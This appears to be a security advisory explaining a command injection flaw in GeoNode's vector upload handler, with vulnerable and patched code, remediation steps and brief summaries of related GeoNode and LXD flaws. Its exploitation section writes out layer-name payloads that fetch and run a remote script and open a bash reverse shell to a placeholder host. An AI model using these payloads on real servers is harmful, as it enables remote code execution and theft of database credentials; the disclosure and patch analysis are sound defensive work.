Nov 7, 2026·9 min read·2 visits
GeoNode prior to 5.1.0 concatenates unsanitized vector layer names into an ogr2ogr command string and executes it via subprocess.Popen with shell=True, allowing authenticated users with upload permissions to achieve remote code execution.
An operating system command injection vulnerability (CWE-78) exists in GeoNode versions prior to 5.1.0. The vulnerability occurs in the vector upload processing pipeline when handling user-supplied geospatial files. By supplying a crafted layer name containing shell metacharacters, an authenticated attacker with basic data upload privileges can execute arbitrary commands on the underlying server or container hosting the GeoNode application and Celery worker processes.
GeoNode is an open-source geospatial content management system written in Python and built on the Django framework. A core function of the platform is allowing users to upload, process, and publish geospatial datasets, including vector formats such as ESRI Shapefiles, GeoJSON, KML, and GeoPackage. During the ingestion workflow, GeoNode relies on the GDAL/OGR command-line utility ogr2ogr to translate and import vector layers into a backend PostGIS/PostgreSQL datastore.
In GeoNode versions prior to 5.1.0, the vector upload handler located at geonode/upload/handlers/common/vector.py suffers from an Operating System Command Injection vulnerability (CWE-78). When preparing the command-line arguments for ogr2ogr, the application extracts metadata from the uploaded dataset—specifically the layer name (original_name), an alternate target name (alternate), and the file path (input_file)—and interpolates them directly into a command string without sanitization.
This constructed command string is subsequently executed by import_with_ogr2ogr() using Python's subprocess.Popen with the shell=True parameter enabled. Because the underlying operating system shell (/bin/sh) interprets the command string, an authenticated attacker with basic dataset upload permissions can inject shell metacharacters or command substitution sequences into the vector layer name.
Successful exploitation allows the attacker to execute arbitrary operating system commands within the context of the GeoNode web application or the asynchronous Celery worker process. This access exposes sensitive configuration data, database credentials, and all stored geospatial assets.
The root cause of CVE-2026-33050 is the combination of unsafe string formatting during command construction and the invocation of a system shell via subprocess.Popen(..., shell=True).
In geonode/upload/handlers/common/vector.py, the function create_ogr2ogr_command() builds the argument string for the ogr2ogr binary using Python f-strings. Specifically, the function appends the input file path, the -nln (new layer name) flag with the alternate variable, and the original_name variable directly into the options string. While original_name and input_file are wrapped in literal double quotes ("), alternate is inserted without any quoting.
Enclosing user-controlled input in double quotes is insufficient to prevent command injection when passed to a POSIX shell. Within double quotes, the shell still evaluates command substitution expressions enclosed in $() or backticks (`). Furthermore, if the attacker includes a literal double quote (") inside original_name, they can break out of the quoted argument boundary entirely and inject arbitrary flags or shell control operators such as ;, |, &&, or ||.
The vulnerability is triggered inside import_with_ogr2ogr(). Although the code splits the options string on spaces ([ogr_exe] + options.split(" ")), it immediately rejoins the list back into a single space-delimited string (" ".join(commands)) before passing it to Popen(..., shell=True). This split-and-join operation is a no-op that preserves all injected shell syntax, resulting in direct evaluation by /bin/sh -c.
The vulnerability was remediated in commit 1408290c0bb54872924a9b334a516db9758a2180. The patch modifies geonode/upload/handlers/common/vector.py in two key locations: argument construction in create_ogr2ogr_command() and process execution in import_with_ogr2ogr().
Prior to the fix, create_ogr2ogr_command() formatted user-influenced variables directly into the command string, and import_with_ogr2ogr() executed the command pipeline using shell=True:
# File: geonode/upload/handlers/common/vector.py (Pre-Patch)
def create_ogr2ogr_command(files, original_name, ovverwrite_layer, alternate, **kwargs):
# ...
input_file = files.get("temp_vrt_file") or files.get("base_file")
# VULNERABLE: Direct string interpolation without shell escaping
options += f'"{input_file}"' + f" -lco FID={DEFAULT_PK_COLUMN_NAME} "
options += f'-nln {alternate} "{original_name}"'
# ...
def import_with_ogr2ogr(files, original_name, ovverwrite_layer, alternate, execution_id=None):
try:
ogr_exe = shutil.which("ogr2ogr")
options = orchestrator.load_handler(handler_module_path).create_ogr2ogr_command(
files, original_name, ovverwrite_layer, alternate, execution_id=execution_id
)
_datastore = settings.DATABASES["datastore"]
copy_with_dump = ast.literal_eval(os.getenv("OGR2OGR_COPY_WITH_DUMP", "False"))
if copy_with_dump:
# VULNERABLE: Appending shell pipe and inline password to command string
options += f" | PGPASSWORD={_datastore['PASSWORD']} psql -d {_datastore['NAME']} -h {_datastore['HOST']} -p {_datastore.get('PORT', 5432)} -U {_datastore['USER']} -f -"
commands = [ogr_exe] + options.split(" ")
# VULNERABLE: Rejoining list and executing via system shell
process = Popen(" ".join(commands), stdout=PIPE, stderr=PIPE, shell=True)
stdout, stderr = process.communicate()The patch introduces the shlex module to properly escape arguments and parse the command string into an argument vector (argv), eliminating the need for shell=True:
# File: geonode/upload/handlers/common/vector.py (Post-Patch)
import shlex
def create_ogr2ogr_command(files, original_name, ovverwrite_layer, alternate, **kwargs):
# ...
input_file = files.get("temp_vrt_file") or files.get("base_file")
# FIXED: All dynamic arguments are escaped using shlex.quote()
options += f" {shlex.quote(input_file)} -lco FID={DEFAULT_PK_COLUMN_NAME} "
options += f" -nln {shlex.quote(alternate)} {shlex.quote(original_name)}"
# ...
def import_with_ogr2ogr(files, original_name, ovverwrite_layer, alternate, execution_id=None):
try:
ogr_exe = shutil.which("ogr2ogr") or "ogr2ogr"
options_str = orchestrator.load_handler(handler_module_path).create_ogr2ogr_command(
files, original_name, ovverwrite_layer, alternate, execution_id=execution_id
)
# FIXED: Tokenize the escaped options string into a discrete argument list
cmd_list = [ogr_exe] + shlex.split(options_str)
copy_with_dump = ast.literal_eval(os.getenv("OGR2OGR_COPY_WITH_DUMP", "False"))
if copy_with_dump:
_datastore = settings.DATABASES["datastore"]
psql_cmd = ["psql", "-d", _datastore["NAME"], "-h", _datastore["HOST"], "-U", _datastore["USER"], "-f", "-"]
# FIXED: Pass database credentials via environment dictionary instead of command line
env = os.environ.copy()
env["PGPASSWORD"] = _datastore["PASSWORD"]
# FIXED: Chain processes in Python using stdout/stdin pipes without invoking a shell
p1 = Popen(cmd_list, stdout=PIPE, stderr=PIPE)
p2 = Popen(psql_cmd, stdin=p1.stdout, stdout=PIPE, stderr=PIPE, env=env)
p1.stdout.close()
stdout, stderr = p2.communicate()
else:
# FIXED: Execute argument list directly with shell=False
process = Popen(cmd_list, stdout=PIPE, stderr=PIPE, shell=False)
stdout, stderr = process.communicate()The remediation applies defense-in-depth by addressing both argument construction and command execution. Wrapping input_file, alternate, and original_name in shlex.quote() ensures that when shlex.split() parses options_str, each variable is preserved as a single, literal token regardless of embedded spaces or quotes. Executing cmd_list with shell=False ensures the execve system call is invoked directly on the ogr2ogr binary without invoking /bin/sh, neutralizing shell metacharacter injection.
> [!NOTE]
> In the copy_with_dump branch, the patch also removes the hardcoded -p port flag from psql_cmd while migrating PGPASSWORD into the env dictionary. Passing PGPASSWORD via env prevents local users on the host from reading the database password from the process table (ps aux). However, if original_name begins with a leading hyphen (-), ogr2ogr could still interpret it as a command-line option (Argument Injection, CWE-88), though it is positioned at the end of the command string.
Exploiting CVE-2026-33050 requires an authenticated user account with permissions to upload geospatial vector datasets. In many standard GeoNode deployments, registered users are granted permission to upload layers by default.
Payload Creation: The attacker creates a valid vector dataset (such as a minimal GeoJSON file or ESRI Shapefile) where the layer name contains a shell command injection payload. Two primary injection techniques apply:
$(...) or backticks inside the layer name, which executes even within double quotes.
layer_$(curl -s http://192.0.2.10/payload.sh | sh)original_name and terminating the remainder of the ogr2ogr command with a comment (#).
test" -nln pwn; /bin/bash -c 'bash -i >& /dev/tcp/192.0.2.10/4444 0>&1'; #Dataset Upload: The attacker submits the crafted vector file through the GeoNode web interface upload form or directly via the REST API endpoint /api/v2/uploads/.
Command Execution: During the ingestion phase, the GeoNode upload orchestrator invokes VectorFileHandler. When import_with_ogr2ogr() executes, the constructed string passed to /bin/sh -c resembles:
/usr/bin/ogr2ogr ... "/tmp/upload/file.geojson" -lco FID=ogc_fid -nln layer_name "test" -nln pwn; /bin/bash -c 'bash -i >& /dev/tcp/192.0.2.10/4444 0>&1'; #"Post-Exploitation: The shell executes ogr2ogr (which may fail or exit cleanly), followed immediately by the attacker's command. The payload executes with the user and group privileges of the running Django web server or Celery worker process.
CVE-2026-33050 is rated 8.8 (High) under CVSS v3.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). The vulnerability is remotely exploitable over the network (AV:N) with low attack complexity (AC:L), requiring only low-privileged authentication (PR:L) and no user interaction (UI:N).
DATABASES['datastore']), Django SECRET_KEY values, OAuth2 tokens, and all private geospatial layers stored on the server.geonode or celery service account, an attacker can modify application source code, inject persistent web shells into the Django WSGI pipeline, alter stored GIS datasets in PostGIS, or manipulate GeoServer configurations.At the time of disclosure, CVE-2026-33050 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no active in-the-wild exploitation campaigns have been reported.
Administrators running any version of GeoNode prior to 5.1.0 (including the 2.x, 3.x, 4.x, and 5.0.x branches) must upgrade to GeoNode 5.1.0 or later. If GeoNode is managed via pip, upgrade the package using:
pip install --upgrade "geonode>=5.1.0"For Docker-based deployments, update the base image tag in your Dockerfile or docker-compose.yml to reference the 5.1.0 release or newer, rebuild the containers, and restart both the django and celery services.
If an immediate upgrade to GeoNode 5.1.0 is not feasible due to version dependencies:
1408290c0bb54872924a9b334a516db9758a2180 directly to geonode/upload/handlers/common/vector.py. Ensure that shlex.quote() is applied to input_file, alternate, and original_name, and replace Popen(..., shell=True) with Popen(shlex.split(...), shell=False).ACCOUNT_OPEN_SIGNUP = False) if untrusted users can otherwise register and obtain upload privileges.CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
geonode GeoNode | < 5.1.0 | 5.1.0 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | CWE-78: OS Command Injection |
| CVSS v3.1 Score | 8.8 High (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Attack Vector | Network (Authenticated Vector Dataset Upload) |
| Affected Component | geonode/upload/handlers/common/vector.py |
| Vulnerable Versions | GeoNode < 5.1.0 |
| Patched Version | GeoNode 5.1.0 |
| Exploit Status | No known public exploits; patch diff available |
| CISA KEV Status | Not Listed |
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
GeoNode versions prior to 5.0.3 contain an unrestricted file upload vulnerability (CWE-434) within the document and dataset ingestion architecture. Authenticated low-privileged users can bypass upload validation via direct REST API interactions, file extension masquerading, metadata mutation via PATCH requests, or malicious archive submissions. This allows attackers to store and serve dangerous file types, alter on-disk file references, or trigger path traversal and resource exhaustion during archive extraction.
CVE-2026-55649 is a stored Cross-Site Scripting (XSS) vulnerability in GeoNode versions prior to 5.0.3. The flaw exists because document abstract metadata fields are ingested via the metadata management pipeline and stored in the backend database without HTML sanitization or input neutralization. An authenticated attacker with privileges to create or edit document metadata can inject arbitrary HTML and JavaScript payloads into these fields. When another user, such as an administrator, views the affected document page or catalog listing, the unencoded payload is rendered into the Document Object Model (DOM) and executes within the victim's browser session.
CVE-2026-55622 (GHSA-qx75-2p3r-pwm5) is an improper access control vulnerability (CWE-284) in Canonical LXD and LXC Incus (tracked as GHSA-c9f5-j9c3-mhrg). In multi-tenant deployments utilizing project-based isolation, the REST API handler for instance creation via POST /1.0/instances verifies that the authenticated user has authorization in the destination project specified by the query parameter, but fails to verify whether the user holds read or view permissions for the source instance when executing a copy operation across projects. Consequently, an authenticated client restricted to a single project can clone instances or snapshots from unauthorized projects into their own project, resulting in complete disclosure of the target instance filesystem and embedded credentials.
An authorization bypass vulnerability in Canonical LXD (tracked as GHSA-7mr3-28h5-m5vx and CVE-2026-55621, and as GHSA-64f3-v33m-w89f in Linux Containers Incus) allows an authenticated user with restricted project access to copy custom storage volumes and volume snapshots from unauthorized projects. The flaw resides in the storagePoolVolumesPost REST API handler, which verifies permissions on the destination project but fails to check whether the caller holds view entitlements on the source project or volume specified in the request body.
A missing authorization and configuration validation vulnerability in Canonical LXD and LXC Incus allows authenticated users within restricted projects to bypass project security boundaries. By smuggling prohibited low-level configuration directives (such as raw.lxc or raw.qemu) inside instance snapshots or backup archives, an attacker can restore these configurations within a restricted project and execute arbitrary commands with root privileges on the underlying host operating system.
A symbolic link traversal vulnerability (CWE-59) in Canonical LXD and Linux Containers Incus allows an authenticated user with image import permissions to read and write arbitrary files on the host filesystem. During image archive unpacking, the daemon fails to reject top-level symbolic links for the instance `templates` directory. Subsequent requests to the instance template API endpoints follow this symbolic link outside the instance storage directory with root privileges, enabling complete host compromise.